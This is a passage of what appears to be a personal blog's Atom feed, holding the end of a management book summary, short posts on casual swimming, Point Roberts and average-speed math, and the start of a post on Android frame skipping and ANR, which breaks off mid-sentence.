<p>An excellent principle to follow is the first principle of Bushido: keep death in mind at all times. So, you may conduct yourself properly in all actions. Being a startup CEO is a fierce struggle, if you don&rsquo;t like it, don&rsquo;t do it, but if you do it, don&rsquo;t take it personally, find the best move, persist, and convince the team to follow you.</p>
<h4 id="share-all-the-news">Share all the news</h4>
<p>As a startup CEO, share the news, both bad and good. It builds up trust, brings in diverse opinions, and allow bad news to be known faster. When people bring problems out in the open, they get solved. A culture that punished people from talking about the problems prevents the free flow of information. An example would be &ldquo;don&rsquo;t bring me a problem without bringing a solution&rdquo;.</p>
<blockquote>
<p>In any human interaction, required amount of communication is inversely proportional to the level of trust.</p></blockquote>
<h4 id="layoffs">Layoffs</h4>
<p>Loudcloud went through three layoffs but still got sold for more than a billion-dollar. Layoffs destroy the morale of the employees who are left. Unless they are done right.</p>
<blockquote>
<p>Layoffs destroy morale of the employees which are left. Unless they are done right.</p></blockquote>
<p>If the financial situation requires, the CEO should clear off his head of the past glory, execute quickly to avoid leaks, be honest about the reason that its company&rsquo;s failures and not the individual&rsquo;s performance issues, layoff must be completed by the manager since the employee is going to remember every last detail of this day, the CEO should address the entire company, and after the layoff, the CEO should be present and visible. Messaging and execution are essential for people who are staying.</p>
<blockquote>
<p>The messaging and execution [of layoffs]  is important for the people who are staying.</p></blockquote>
<h4 id="firing">Firing</h4>
<p>Firing an executive is relatively more straightforward since they have been on the other side of the table.</p>
<ol>
<li>Root cause analysis - Figure out why the executive was hired in the first place. It could be a poor job role definition based on some abstract idea. Hiring could have been for lack of weakness. Hiring for the scale too soon, which might be attained in some hypothetical future. Hiring a generic &ldquo;great&rdquo; head of sales, ignoring the unique situation of your company. An Executive who had a mismatch of ambition or failed to integrate into the company.</li>
</ol>
<blockquote>
<p>Hiring should be for strengths not for the lack of weakness</p>
<p>There is no great head of sales. There can only be a great head of sales for your company for next 12-24 months.</p></blockquote>
<p>2. Inform the board
Call board members individually and face them, then call the board meeting, give a good severance package to the executive, ensure that his reputation is preserved.</p>
<p>3. Prepare the conversation
State decisively (&ldquo;I have decided&rdquo; not, &ldquo;I think&rdquo;), be clear on the reason, and have the details of the severance ready. Let him decide how to communicate the decision to the company and the world. You cannot let him keep his job, but you absolutely can let him keep his respect.</p>
<blockquote>
<p>You cannot let him keep his job, but you absolutely can let him keep his respect.</p></blockquote>
<p>4. Inform the company
Inform their direct reports, other staff members, and the company, in that order, on the same day. CEO should ideally fully take over the role in the interim.  It will also help the CEO decide whom to hire for the position.</p>
<h4 id="demoting-a-friend">Demoting a friend</h4>
<p>As the company grows, sometimes, it is crucial to demote an early employee who can no longer head the bigger unit anymore. It is essential to sacrifice his good for the good of other employees. This ends up messy. He might want to leave; if he stays on the same team and reports to a new boss holding his position, he might try to sabotage things. Acknowledge his contribution, be decisive in the language and admit the reality that if you as a CEO are under-skilled, it is even harder to develop him and that in itself is a bigger recipe for failure.</p>
<h4 id="loser-lies">Loser Lies</h4>
<p>Humans listen to leading indicators of good news. Revenue grows, immediately hire more. Revenue falls, no immediate action. When a company struggles, leaving employees are labeled with &ldquo;they were bad anyway&rdquo;, lost sales deals are deemed to be lost because competition gave the product away for cheap. These are all lies that we tell ourselves. It is important not to fool ourselves with them.</p>
<h4 id="lead-bullets">Lead Bullets</h4>
<p>Sometimes, there are no silver bullets, and there are several lead bullets that are required to improve the product. This saying is true more often when the customers are buying a similar product from the competition because it is simpler, faster, and/or easy to use. At that time, pivoting or building a new feature is akin to looking for a non-existent silver bullet.</p>
<h4 id="nobody-cares">Nobody cares</h4>
<p>Nobody [except you] cares about the underlying cause of why things are going wrong. It does not help them at all. Don&rsquo;t waste time explaining why things are going wrong; spend it on trying to make them right.</p>
<blockquote>
<p>Don&rsquo;t waste time explaining why things are going wrong, spend it on trying to make them right.</p></blockquote>
<h4 id="people--product--profit">People &gt; Product &gt; Profit</h4>
<p>Ben wanted to hire a new head of sales, Mark Cranney aced the interview but was from a lesser-known university and did not look like the head of sales. The more time he spent with him, the more he was convinced that Mark is the right guy. He fought against the whole board, and the decision turned out to be great in the long run. Hiring the right people and taking good care of them is of the highest importance to an organization.</p>
<h4 id="a-good-place-to-work">A good place to work</h4>
<p>Being a good company does not matter when things go well but can be the difference between life and death when things go wrong. The only reason someone would stay at a company going through a bad phase is that he likes his job. When things go wrong, a bad company won&rsquo;t be able to hold onto the employees, and that&rsquo;s when the death spiral begins.</p>
<h4 id="training">Training</h4>
<p>Even new workers at Mcdonald&rsquo;s get the training. Training is one of the highest leverage activities a manager can perform. It sets the basis for performance expectations. It ensures consistent product quality. Training ensures employee retention, since people leave, primarily, because they hate their manager or aren&rsquo;t learning anything new. The most basic training to start with would be the functional training for the job functions and the management training for the managers.</p>
<h4 id="hiring-from-friends-company">Hiring from Friend&rsquo;s company</h4>
<p>Hiring from a friend&rsquo;s company is always tricky. Either you will hire mediocre people or their top-notch employees. It will never go down well since the trickle of employees leaving will begin after that. During the interview process, tell the candidate that you need to do a background check with that CEO friend and to let you know if you don&rsquo;t want that to happen.</p>
<h4 id="big-companies-execs-transitioning-to-small-companies">Big companies execs transitioning to small companies</h4>
<p>In big companies, execs are interrupt-driven. They always have incoming requests to process; their job is not about taking new initiatives but fine-tuning the existing ones. In small companies, the requirement to take the initiative is much higher. Big company execs are good at following processes, at small companies, they have to create one. Screen them right at the time of the interview by ensuring that they have the self-awareness of this. Train them heavily by assigning them an initial set of tasks.</p>
<h4 id="hiring-an-executive">Hiring an Executive</h4>
<p>The two biggest mistakes which can happen are &ldquo;looking for the lack of weakness and not strength&rdquo; and &ldquo;hiring on some abstract look &amp; feel&rdquo;. Hire the right person for your company at this particular point in time. List the specific set of strengths you are looking for. The CEO must make a final solo decision without being influenced by anyone else.</p>
<h4 id="when-employees-misinterpret-managers">When employees misinterpret managers</h4>
<p>An organization should not be run as a black-box with the sole focus on metrics and quantitative goals. Such a focus usually leads to an incorrect prioritization of the goals. Run the organization as a white box, many questions to judge its progress and performance would be more qualitative; for example, long-term competitive edge,  customer satisfaction, etc.</p>
<h4 id="management-debt">Management debt</h4>
<p>Short-term, expedient decisions with expensive long-term consequences can lead to a management debt. The three most popular ones are - putting two in a box (promoting two people to the same position and making them share responsibilities when only one is required), overcompensating someone (because they got another job offer), and no performance management. Most experienced CEOs opt for hard choices in these cases to avoid management debt. A good HR division provides management quality assurance; it designs a good process, works with managers to identify bottlenecks, and finds out unspoken problems inside the company.</p>
<h3 id="company-politics">Company politics</h3>
<p>CEOs who avoid politics, accidentally, end up encouraging it.</p>
<blockquote>
<p>The right kind of ambition is ambition for the company&rsquo;s success and the individual&rsquo;s own success being a by-product of it.</p></blockquote>
<p>If one executive complains about another&rsquo;s behavior, get both of them into one room to resolve the issue. If an executive complains about another&rsquo;s performance and you already knew it, then it is already too late; you should fire that executive since improving skills is doable, but regaining the support of the organization is hard for him/her. If an executive complains about another&rsquo;s performance and it&rsquo;s new news, strongly disagree right there and then evaluate the complaint objectively. Individuals optimizing personal achievements over the company are bad. Worse if they are managers since that encourages employees to do so.</p>
<h4 id="titles-and-promotions">Titles and promotions</h4>
<p>Employees love titles, and for an organization of beyond a few tens of employees, everyone needs to know who is who. The author believes that titles are one of the cheapest things which a company can offer, so if a better title helps to hire an employee, use it. Mark Zuckerberg has the opposite thinking, where he prefers leveling down the new hires to avoid giving them better titles than existing employees. People at any level compare themselves to the worst person at the next level and want promotion as soon as they reach that level. Such promotions lead to the <em>law of crappy people</em>. A good promotion process, to avoid that, must ensure the criteria of whether an employee is ready for the next level is an objective one.</p>
<h4 id="when-smart-employees-are-bad-employees">When smart employees are bad employees</h4>
<p>Some smart employees are bad.</p>
<ol>
<li>The heretic - The one thinks a bunch of morons runs the company. This thinking usually happens because he feels disempowered, is fundamentally a rebel, or is immature. It is difficult to fix this situation since once an employee has taken a public position, it is a credibility hit for them to change their stance.</li>
<li>The flake - If an employee is not reliable, all the intelligence is a waste.</li>
<li>The jerk - Bad behavior cripples communication. If the VP of marketing is a jerk, then no one will bring up the issue of marketing in the meeting, communication will slowly break down, and the topic of marketing will never come up. A few jerks who are making massively positive contributions are ok, but adding more of them will destroy the company.</li>
</ol>
<blockquote>
<p>If anytime someone raising a concern about marketing is attacked by VP of marketing then topic of marketing will stop showing up in the meetings.</p></blockquote>
<h4 id="old-people">Old People</h4>
<p>Hiring senior people into a startup is like an athlete taking a performance-enhancing drug; if all goes well, you will achieve new heights. If all goes wrong, you will start degenerating from the inside out.</p>
<h4 id="one-on-one">One-on-one</h4>
<p>A one-on-one is an employee&rsquo;s meeting where he can talk about issues, frustrations, and a manager must have regular one-on-one with their employees.</p>
<h4 id="company-culture">Company Culture</h4>
<p>Properly designed culture might look bizarre from the outside, but that&rsquo;s a coincidence, not the end goal. Amazon has desks made out of doors, A16Z fines its partners 10$ a minute for being late in a meeting with founders, Facebook has the motto to move fast and break things.  All these things reflect the core values of the company.</p>
<h4 id="scaling-a-company">Scaling a Company</h4>
<p>Scaling a human organization requires an organizational design (all have shortcomings, choose the one which suits best), and a corresponding [communication] process. The organization should dictate the individual leaders and not the opposite scenario, where the personal ambitions of the individuals dictate the organizational structure. If you want particular individuals or groups to communicate more, put them under the same manager. The further away people are in the organizational chart, the less they will communicate.</p>
<blockquote>
<p>The further away people are in the organizational chart, the less they will communicate.</p></blockquote>
<h4 id="the-scale-anticipation-fallacy">The Scale Anticipation Fallacy</h4>
<p>Hire executives who will do the job for the next 12 months, don&rsquo;t anticipate and try to hire executives who can handle scale longer than that.  Any judgment passed on an executive by comparing them to some hypothetical size of the company in the future is a bad idea. Scaling is an acquired skill, the act of judging them in advance creates prejudice. And even hiring a more experienced executive does not help since you would have to reevaluate eventually whether s/he is the right person or not. Rather than passing an absolute judgment, always think about whether you can hire a better person at this point and who will s/he be.</p>
<h3 id="how-to-lead-when-you-dont-know-where-you-are-going">How to lead when you don&rsquo;t know where you are going</h3>
<p>After Ben sold Loudcloud business to EDS, the stock price of Opsware fell to $0.35 a share, putting the market cap half of their cash in the bank. NASDAQ threatened to delist them. Ron Conway told Ben to talk to Herb Allen (Allen &amp; Company). Herb and their clients bought the share over the next few months, bringing the price to $3 a share. Herb later told Ben that even though he knew nothing about technology, he decided to invest in Ben&rsquo;s courage and determination.</p>
<h4 id="the-most-challenging-ceo-skill">The most challenging CEO skill</h4>
<p>In a human organization, things are bound to go wrong. A CEO usually takes two extremes, one where s/he takes the blame for everything and gets too stressed out and other who s/he tries to casually pass up every broken thing as normal, which frustrates the employees and turns the organization into crap.</p>
<h4 id="the-fine-line-between-fear-and-courage">The fine line between fear and courage</h4>
<p>The most critical decisions test courage far more than intelligence. The right decision is obvious, but the pressure to make the wrong one can be overwhelming. Going with the crowd is always the safer choice but not always the best outcome. Every correct decision makes you more courageous and the wrong one more cowardly. The financial bar for starting a company has gone down; the courage bar remains high it has ever been.</p>
<blockquote>
<p>The most important decisions test courage far more than intelligence.</p></blockquote>
<h4 id="ones-and-twos">Ones and Twos</h4>
<p>There are two core skills for running an organization. Knowing what to do and getting the company to do what you know. The &ldquo;ones&rdquo; are good at knowing while the &ldquo;twos&rdquo; are good at getting the company to move. Ones gather data from many sources and make good decisions. They dislike execution-related tasks like process, goal setting, and performance management. Twos have a love for action and find it challenging to make critical decisions. An ideal CEO should have both skills. This leads to a tricky CEO transition problem. Most CEOs will be ones and have twos reporting to them, promoting the twos to the CEO could be harmful. Microsoft did that with Bill Gates to Steve Ballmer transition in 2000. Promoting one from deep within can cause the executive twos to leave, GE did with Jack Welch in 1981, and that turned out to be phenomenal. No easy way to do the transition.</p>
<h4 id="follow-the-leader">Follow the Leader</h4>
<p>There are characteristics of a good leader. Ability to articulate a vision (&quot;
<a href="/book-summary/steve-jobs/">Steve Jobs</a>&quot;), right kind of ambition  - ambitious but not selfish (&ldquo;Bill Campbell&rdquo;), and ability to achieve the vision (&quot;
<a href="/book-summary/only-the-paranoid-survives/">Andy Grove</a>&quot;). A peacetime CEO maximizes and broadens current opportunity, wartime usually has just one bullet to hit the target. 
<a href="/book-summary/in-the-plex/">Google</a> moved from peacetime (&ldquo;Eric Schmidt&rdquo;) to wartime (&ldquo;Larry Page&rdquo;) as of the writing of this book.</p>
<h4 id="making-yourself-a-ceo">Making yourself a CEO</h4>
<p>CEO has to make a lot of unnatural moves, constantly evaluating people is one of them. The end goal of your feedback is to open up rather than close down the discussion. Don&rsquo;t try a   
    
    
<a href="https://blog.idonethis.com/sandwich-feedback-performance-management/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shit sandwich</a>, be authentic. As a CEO have an opinion on everything. Continuously give feedback so that people won&rsquo;t take it personally and will focus on the content instead.</p>
<h4 id="how-to-evaluate-ceos">How to evaluate CEOs</h4>
<p>Some employees make products; some make sales, a CEO makes decisions. That&rsquo;s what a CEO is judged on. The best way to judge CEO is on his/her strategy, decision making, ability to convey that to the company and achieve desired results measured against a set of objectives.</p>
<h3 id="the-first-rule-of-entrepreneurship-there-are-no-rules">The first rule of entrepreneurship: There are no rules</h3>
<p>Right when Opsware was in a bidding war between BMC and HP, the  E&amp;Y partner from BMC&rsquo;s diligence process claimed that the   
    
    
<a href="https://www.globalupside.com/the-hard-thing-about-audits/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reinstatement</a> of finances is required unless the contracts were amended in 48 hours. Ben was able to gather the three [bank] customers and change the contract. BMC still backed out, and acquisition happened for $14.25 when Ben was expecting it to be $15. His learning was that there is no point arguing when things go south, accept it, and get on.</p>
<h4 id="accountability-vs-creativity-paradox">Accountability vs. Creativity paradox</h4>
<p>If you punish people for not meeting deadlines regularly, they will avoid hard problems. If you don&rsquo;t hold them accountable to the deadlines, then hard-working employees will feel bad. This paradox is hard to deal with. As a general rule, senior employees should be better at forecasting. Deadline slips are more probable if the task is tough. And always hold people accountable if they took a stupid risk.</p>
<h4 id="freaky-friday-management-technique">Freaky Friday Management Technique</h4>
<p>Read it at Ben&rsquo;s   
    
    
<a href="https://www.bhorowitz.com/the_freaky_friday_management_technique?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">blog</a></p>
<h4 id="should-you-sell-your-company">Should you sell your company</h4>
<p>If your company is getting an acquisition offer for its product or the business, consider the eventual market if you think that the final market can be much bigger than what your company has realized and can you be number one in that. If it is yes on both counts, then it is better to stay on the course. For example, Google rejected $1B offers, and they were pursuing a massive market.    
    
    
<a href="https://en.wikipedia.org/wiki/PointCast_%28dotcom%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pointcast</a>, on the other hand, was not pursuing a large market, and by rejecting $1B offers, it made a mistake.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Learning casual swimming</title><link href="https://ashishb.net/misc/learning-casual-swimming/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/the-optimal-distance/?utm_source=atom_feed" rel="related" type="text/html" title="The optimal distance"/><link href="https://ashishb.net/misc/5-things-airlines-get-wrong-about-leisure-travelers/?utm_source=atom_feed" rel="related" type="text/html" title="5 things airlines get wrong about leisure travelers"/><link href="https://ashishb.net/misc/speedup-vs-slow-down/?utm_source=atom_feed" rel="related" type="text/html" title="Speedup vs Slow-down"/><link href="https://ashishb.net/misc/front-of-the-queue-effect/?utm_source=atom_feed" rel="related" type="text/html" title="Front of the queue effect"/><link href="https://ashishb.net/misc/cruelty-to-animals/?utm_source=atom_feed" rel="related" type="text/html" title="Cruelty to animals"/><id>https://ashishb.net/misc/learning-casual-swimming/</id><author><name>Ashish Bhatia</name></author><published>2016-10-02T00:25:58+00:00</published><updated>2016-10-02T00:25:58+00:00</updated><content type="html"><![CDATA[<blockquote>Discover a better way to learn swimming! Focus on breathing, comfort, floating, and simple techniques to become a confident casual swimmer in no time.</blockquote><p>I am not a swimming trainer. I am neither a professional swimmer either.
But I have felt that at least for casual swimming, there is a huge gap in teaching swimming.
The traditional method focuses more on peddling than making a person comfortable with the water.
Here is a better way to learn swimming.</p>
<ol>
<li>When in water, always inhale from the mouth and exhale through the nose
It does not matter whether you are swimming or not.
Just following these fixes a lot of issues.
If you inhaled water in, you can swallow/spit it out from the mouth.
And since the nose is only used for exhalation, the chance of water going in is low.
As soon as water enters the nose, people become uncomfortable, their reflex actions go into the motion,
and they stop in the middle of the water.</li>
<li>Get comfortable with water
Go to the deep side, hold the ladder and slowly go into the water. Open your eyes.
Slowly release the breath from the nose. The standard pool water, being slightly heavier than the human body,
will push you up. As you repeat this motion, again and again, you will become more comfortable having your head on
the surface and below the surface of the water.</li>
<li>Try floating
Don&rsquo;t move legs, don&rsquo;t move hands, just float with your face facing downwards.
If you have become comfortable with the water, this won&rsquo;t be hard. Just learn to enjoy this floating.</li>
<li>Try swinging your legs
Now, since you can float, try moving your legs from the hip, no motion of the knee, just at the hip joint.
Later start swinging the ankle joint as well for faster movements.</li>
<li>Try moving your arms
Now, move the arms, one following the other, cutting straight into the water, in front of your head, and pushing water backwards.</li>
<li>Learn to breathe while swimming
Breath out from the nose while your head is in the water. Breath in from the mouth,
after pulling your head out of the water from the side.</li>
</ol>
<p>That&rsquo;s it. That&rsquo;s all you need to become a casual swimmer.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/swimming" term="swimming" label="swimming"/></entry><entry><title type="html">A day at Point Roberts</title><link href="https://ashishb.net/travel/point-roberts/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/seattle/?utm_source=atom_feed" rel="related" type="text/html" title="Seattle in 2 Days"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><link href="https://ashishb.net/travel/chicago/?utm_source=atom_feed" rel="related" type="text/html" title="Chicago in 2 Days"/><link href="https://ashishb.net/travel/boston/?utm_source=atom_feed" rel="related" type="text/html" title="Boston in 2 Days"/><link href="https://ashishb.net/travel/philadelphia/?utm_source=atom_feed" rel="related" type="text/html" title="Philadelphia in 3 days"/><id>https://ashishb.net/travel/point-roberts/</id><author><name>Ashish Bhatia</name></author><published>2016-09-17T18:00:38+00:00</published><updated>2016-09-17T18:00:38+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the unique quirks of Point Roberts, a U.S. exclave in Canada. From dual gas prices to scenic hikes, explore this hidden gem near British Columbia.</blockquote><p>Point Roberts is a weird place. 5 sq. Miles (12 sq. km) U.S. exclave connected to British Columbia, Canada.
As a part of the   
    
    
<a href="https://en.wikipedia.org/wiki/Oregon_Treaty?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Treaty of Oregon</a>, 1846, the territory jointly controlled by the British and the U.S.
was handed over to the U.S.
It later became the Washington state. The area should have been part of British Columbia, but the dividing line
was chosen incorrectly due to a geographical mistake.</p>
<figure>
    
    <a href="tmp1-300x250.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1-300x250.jpeg"
         alt="Location of Point Roberts on Google Maps" width="300"/> </a>
</figure>

<p>Now, coming back to the trip. I drove from mainland Washington to Point Roberts via Canada.</p>
<p>The first thing I immediately noticed after crossing the immigration checkpoint is that the gas prices are listed
in both USD and Canadian dollars.</p>
<figure>
    
    <a href="IMG_0945-e1465631337511-535x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0945-e1465631337511-535x1024.jpg"
         alt="Price of gasoline listed in both USD and Canadian dollars" width="900"/> </a>
</figure>

<p>I did a one-hour hike at Lily Point Marine Reserve. It had some beautiful scenic views. Nothing outstanding. But worth the time.</p>
<figure>
    
    <a href="IMG_0941-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0941-1024x768.jpg"
         alt="Point Marine Reserve showing scenic views of the coastline, with rocky shores and waves" width="900"/> </a>
</figure>

<p>The visit to the grocery store was another fun.
I wanted to buy some mangoes and raspberries to test how good is custom officer is at detecting which fruits are
allowed to cross the border and which don&rsquo;t but gave up on the plan fearing deportation back to Point Roberts.</p>
<figure>
    
    <a href="IMG_0944-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0944-1024x768.jpg"
         alt="A grassy border separates the United States and another country, with grasslands on one side and apartments on the other." width="900"/> </a>
</figure>

<p>And now, the border. Behold, there is no wall, grasslands on the left are in the U.S., and apartments on the right are in Canada.</p>
<figure>
    
    <a href="IMG_0940-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0940-1024x768.jpg"
         alt="A grassy field in the U.S. borders apartments in Canada, illustrating the international boundary between the two countries with no physical wall present." width="900"/> </a>
</figure>

<p>If you are heading to Vancouver or British Columbia, Point Roberts is a detour worth taking.</p>
<p>Note: One needs the multi-entry U.S. as well as multi-entry Canadian visa to enter, exit, and re-enter Canada and the U.S.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/washington" term="washington" label="washington"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Speedup vs Slow-down</title><link href="https://ashishb.net/misc/speedup-vs-slow-down/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/the-optimal-distance/?utm_source=atom_feed" rel="related" type="text/html" title="The optimal distance"/><link href="https://ashishb.net/misc/5-things-airlines-get-wrong-about-leisure-travelers/?utm_source=atom_feed" rel="related" type="text/html" title="5 things airlines get wrong about leisure travelers"/><link href="https://ashishb.net/misc/learning-casual-swimming/?utm_source=atom_feed" rel="related" type="text/html" title="Learning casual swimming"/><link href="https://ashishb.net/misc/front-of-the-queue-effect/?utm_source=atom_feed" rel="related" type="text/html" title="Front of the queue effect"/><link href="https://ashishb.net/misc/cruelty-to-animals/?utm_source=atom_feed" rel="related" type="text/html" title="Cruelty to animals"/><id>https://ashishb.net/misc/speedup-vs-slow-down/</id><author><name>Ashish Bhatia</name></author><published>2016-09-12T03:20:46+00:00</published><updated>2016-09-12T03:20:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the unexpected math behind average speed! A slowdown can&rsquo;t be countered easily—learn why achieving a 48 mph average takes careful calculation.</blockquote><p>If you are driving at a speed of 60 mph (or kmph, it won&rsquo;t matter) from one city to another and return at 40 mph,
then what would be your average speed?</p>
<p>It&rsquo;s not 50, it would be 48 (See note 1). A slowdown of 20% cannot be countered with a speed-up of 20%,
it takes a speed-up of 33% to counter a slowdown of 20% (See note 2).
And that&rsquo;s the most unintuitive things about slow-downs.
In any aspect of life, once a slow-down has occurred, countering it is much harder without taking the risk of serious
over-speeding and accidents. The alternative is to accept a lower final average speed.</p>
<p>Note:</p>
<ol>
<li>If one-way distance = x, then total time = x/60 + x/40<br>
<code>Average speed = 2x/(x/60 + x/40) = 2 \* 60 \* 40 / (60 + 40) = 48</code><br>
The average speed is the Harmonic mean. As a further trivia, the harmonic mean of the two numbers is biased towards the smaller one.<br>
The geometric mean is biased towards the larger one (see, that&rsquo;s why mutual funds love reporting performance in terms of geometric means).
The arithmetic mean is dead in the center.</li>
<li>If one-way distance = x, and the desired average speed is v, then  the time of the first journey with 20% slowdown in x/(4v/5) = 5x/4v
The total time of the journey is 2x/v<br>
Time of the return journey = 2x/v - 5x/4v = 3x/4v<br>
Average speed for the return journey = 4v/3 = 33% higher than the average speed.</li>
<li>My Physics teacher in grade 9th taught me this unintuitive slowdown, and the result of it mesmerizes me to date.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Demystifying Android rendering: Jank and ANR</title><link href="https://ashishb.net/programming/demystifying-android-rendering/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/built-in-developer-options-in-android/?utm_source=atom_feed" rel="related" type="text/html" title='Built-in "Developer options" in Android'/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Fragment related pitfalls and how to avoid them"/><link href="https://ashishb.net/programming/android-handling-jpeg-images-with-exif-orientation-flags/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Handling JPEG images with Exif orientation flags"/><id>https://ashishb.net/programming/demystifying-android-rendering/</id><author><name>Ashish Bhatia</name></author><published>2016-09-09T04:21:05+00:00</published><updated>2016-09-09T04:21:05+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to prevent janky frames and ANR in Android apps by optimizing UI thread tasks.
Discover tools like dumpsys and method profiling to enhance app performance!</blockquote><p>  
    
    
<a href="https://blog.csdn.net/u013309870/article/details/106801022?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured on CSDN blog" loading="lazy" src="/img/csdn-badge.svg"></a></p>
<p>Almost everyone developing an Android app has seen something like this in their device logs.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>I/Choreographer<span style="color:#719e07">(</span>1200<span style="color:#719e07">)</span>: Skipped <span style="color:#2aa198">60</span> frames!  The application may be doing too much work on its main thread.</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>On most devices, the Android platform tries to render a new frame every 16 milliseconds (60 fps).
The rendering requires that whatever work is happening on the UI thread should finish in that timeframe.
Any unit of work (== Runnable) scheduled on the UI thread has to fit in that. When the work takes longer,
then frames are skipped.
One skipped frame is 16 ms of the hung screen. The UI looks janky and unresponsive and if the user interacts with
the screen and the application does not respond in time (   
    
    
<a href="https://developer.android.com/training/articles/perf-anr.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">5 seconds</a>)
then Application Not Responding (ANR) shows up.</p>
<figure>
    
    <a href="anr-example.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="anr-example.jpeg"
         alt="Android Application Not Responding screen" width="900"/> </a>
</figure>

<p>Another interesting scenario where the work can take longer is when the work involves acquiring a lock
(for example, for executing synchronized code).
Any synchronized code on the main thread is almost always a bad idea since you have no control over
who could be holding the lock.
And the developer writing the code to run on a background thread has no idea that holding a
particular lock can cause any problems.
Android has two tools to debug this.
One of them is   
    
    
<a href="https://developer.android.com/training/testing/performance.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dumpsys</a> for the statistical info;
the other one is Method profiling via   
    
    
